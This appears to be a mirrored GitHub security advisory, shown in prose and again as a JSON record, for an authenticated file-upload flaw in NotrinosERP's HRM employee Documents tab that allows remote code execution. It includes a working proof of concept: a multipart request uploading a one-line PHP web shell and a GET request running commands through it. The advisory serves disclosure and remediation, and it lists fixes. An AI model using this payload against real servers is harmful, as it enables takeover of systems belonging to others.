GHSA-QV4M-M73M-8HJ7

Vulnerability from github – Published: 2026-07-10 19:34 – Updated: 2026-07-10 19:34
VLAI
Summary
NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file)
Details

Summary

An authenticated user with the HR "Manage Employees" permission (SA_EMPLOYEE) can upload a file with an arbitrary extension through the employee Documents tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a .php file is stored under the web root and executes as code, yielding remote code execution on the server.

Details

The document-upload branch in hrm/manage/employees.php (function tab_documents()) moves the uploaded file using the client filename verbatim:

// hrm/manage/employees.php -> tab_documents()  (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().'/documents/employees';
if (!file_exists($upload_dir))
    mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];
if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }

There is no extension allow-list, getimagesize(), MIME check, or content inspection on this path. Contrast this with the profile photo (pic) upload in the same file, which validates image type/extension/size, and with core includes/ui/attachment.inc, which deliberately generates a random extension-less name (uniqid()) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.

Reachability of the written file: - company_path() resolves under the web root; config.default.php sets $comp_path = $path_to_root.'/company', so uploads land in company/0/documents/employees/. - The only .htaccess in the project is the repo-root one, which denies .inc/.po/.sh/.pem/.sql/.log only — it does not block .php and does not cover company/. - The stored path is then echoed unescaped into a clickable "View" link (hrm/includes/ui/employee_ui.inc lines 153-154 — file_path concatenated straight into href), handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).

A crafted multipart filename containing ../ additionally enables path traversal (CWE-22) on PHP builds that do not basename ['name'].

Proof of Concept

The upload is gated by authentication and CSRF, but neither gates the file itself. Prerequisites: an authenticated session with SA_EMPLOYEE; an existing employee (employee_no); a valid doc_type_id; and the session CSRF token. The CSRF field is _token (validated bycheck_csrf_token() against $_SESSION['csrf_token']), so first GET the Documents form to read the hidden _token, then submit. Against your own local instance:

POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: <your-local-instance>
Cookie: <authenticated session>
Content-Type: multipart/form-data; boundary=b

--b
Content-Disposition: form-data; name="_token"

<value of the hidden _token field from the GET response>
--b
Content-Disposition: form-data; name="doc_type_id"

<a valid document type id>
--b
Content-Disposition: form-data; name="doc_name"

x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['c']); ?>
--b
Content-Disposition: form-data; name="save_document"

Save Document
--b--

Then request the stored file (its exact path is shown in the Documents tab's "View" link):

GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1

The command in c executes on the server.

Validation (performed locally, no network)

The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's verbatim path/move logic wrote company/0/documents/employees/1_<ts>_shell.php (attacker-chosen .php extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:

$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'
uid=501(...) gid=20(staff) ...
$ curl '.../<same>.php?c=uname%20-sm;whoami'
Darwin arm64
<user>

Caveats: (1) the harness used copy() in place of move_uploaded_file() because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (poc/rce_demo.php); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root .htaccess does not block .php and does not cover company/. The full HTTP flow additionally requires the auth + _token + doc_type_id prerequisites above, none of which inspect the file.

Impact

Remote code execution on the hosting server by any authenticated operator holding the delegable SA_EMPLOYEE role (not necessarily an administrator). If a deployment grants SA_EMPLOYEE only to administrators, treat privileges-required as High (CVSS ≈ 7.2).

Suggested fix

  • Never use the client filename on disk. Store with a server-generated name and no executable extension (mirror includes/ui/attachment.inc's uniqid() approach); keep the original name only as a DB label.
  • Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the pic branch already does.
  • Store uploads outside the web root, or drop an .htaccess/web.config in company/*/documents/ that disables script execution (php_admin_flag engine off, RemoveHandler .php, SetHandler none).
  • htmlspecialchars() the stored path before emitting the "View" link (fixes the secondary XSS).

Resources / credit

  • Affected code: hrm/manage/employees.php, hrm/includes/db/employee_document_db.inc, hrm/includes/ui/employee_ui.inc.
  • Reported by: <Kasper Hong / Kasper Builds>.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "notrinos/notrinos-erp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:34:03Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "#### Summary\nAn authenticated user with the HR \"Manage Employees\" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename \u2014 extension intact \u2014 into a web served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server.\n\n#### Details\nThe document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim:\n\n```php\n// hrm/manage/employees.php -\u003e tab_documents()  (HEAD lines 597-602; release 1.0.0 lines 568-573)\n$upload_dir = company_path().\u0027/documents/employees\u0027;\nif (!file_exists($upload_dir))\n    mkdir($upload_dir, 0777, true);\n$file_path = $upload_dir.\u0027/\u0027.$employee_id.\u0027_\u0027.time().\u0027_\u0027.$_FILES[\u0027doc_file\u0027][\u0027name\u0027];\nif (!move_uploaded_file($_FILES[\u0027doc_file\u0027][\u0027tmp_name\u0027], $file_path)) { ... }\n```\n\nThere is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.\n\nReachability of the written file:\n- `company_path()` resolves under the web root; `config.default.php` sets\n  `$comp_path = $path_to_root.\u0027/company\u0027`, so uploads land in `company/0/documents/employees/`.\n- The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log`\n  only \u2014 it does **not** block `.php` and does **not** cover `company/`.\n- The stored path is then echoed **unescaped** into a clickable \"View\" link\n  (`hrm/includes/ui/employee_ui.inc` lines 153-154 \u2014 `file_path` concatenated straight into `href`),\n  handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).\n\nA crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `[\u0027name\u0027]`.\n\n#### Proof of Concept\nThe upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by`check_csrf_token()` against `$_SESSION[\u0027csrf_token\u0027]`), so first GET the Documents form to read the\nhidden `_token`, then submit. Against your **own** local instance:\n\n```http\nPOST /hrm/manage/employees.php?employee_no=1\u0026_tabs_sel=tab_documents HTTP/1.1\nHost: \u003cyour-local-instance\u003e\nCookie: \u003cauthenticated session\u003e\nContent-Type: multipart/form-data; boundary=b\n\n--b\nContent-Disposition: form-data; name=\"_token\"\n\n\u003cvalue of the hidden _token field from the GET response\u003e\n--b\nContent-Disposition: form-data; name=\"doc_type_id\"\n\n\u003ca valid document type id\u003e\n--b\nContent-Disposition: form-data; name=\"doc_name\"\n\nx\n--b\nContent-Disposition: form-data; name=\"doc_file\"; filename=\"shell.php\"\nContent-Type: application/x-php\n\n\u003c?php system($_GET[\u0027c\u0027]); ?\u003e\n--b\nContent-Disposition: form-data; name=\"save_document\"\n\nSave Document\n--b--\n```\n\nThen request the stored file (its exact path is shown in the Documents tab\u0027s \"View\" link):\n\n```http\nGET /company/0/documents/employees/1_\u003cunix_ts\u003e_shell.php?c=id HTTP/1.1\n```\n\nThe command in `c` executes on the server.\n\n#### Validation (performed locally, no network)\nThe code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler\u0027s **verbatim** path/move logic wrote `company/0/documents/employees/1_\u003cts\u003e_shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:\n\n```\n$ curl \u0027.../company/0/documents/employees/1_1783671979_shell.php?c=id\u0027\nuid=501(...) gid=20(staff) ...\n$ curl \u0027.../\u003csame\u003e.php?c=uname%20-sm;whoami\u0027\nDarwin arm64\n\u003cuser\u003e\n```\n\nCaveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file \u2014 the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP\u0027s built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file.\n\n#### Impact\nRemote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privileges-required as High (CVSS \u2248 7.2).\n\n#### Suggested fix\n- Never use the client filename on disk. Store with a server-generated name and **no executable\n  extension** (mirror `includes/ui/attachment.inc`\u0027s `uniqid()` approach); keep the original name\n  only as a DB label.\n- Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the `pic`\n  branch already does.\n- Store uploads outside the web root, or drop an `.htaccess`/`web.config` in\n  `company/*/documents/` that disables script execution (`php_admin_flag engine off`,\n  `RemoveHandler .php`, `SetHandler none`).\n- `htmlspecialchars()` the stored path before emitting the \"View\" link (fixes the secondary XSS).\n\n#### Resources / credit\n- Affected code: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`, `hrm/includes/ui/employee_ui.inc`.\n- Reported by: **\u0026lt;Kasper Hong / Kasper Builds\u0026gt;**.",
  "id": "GHSA-qv4m-m73m-8hj7",
  "modified": "2026-07-10T19:34:03Z",
  "published": "2026-07-10T19:34:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/notrinos/NotrinosERP/security/advisories/GHSA-qv4m-m73m-8hj7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/notrinos/NotrinosERP"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee \"Documents\" (doc_file)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…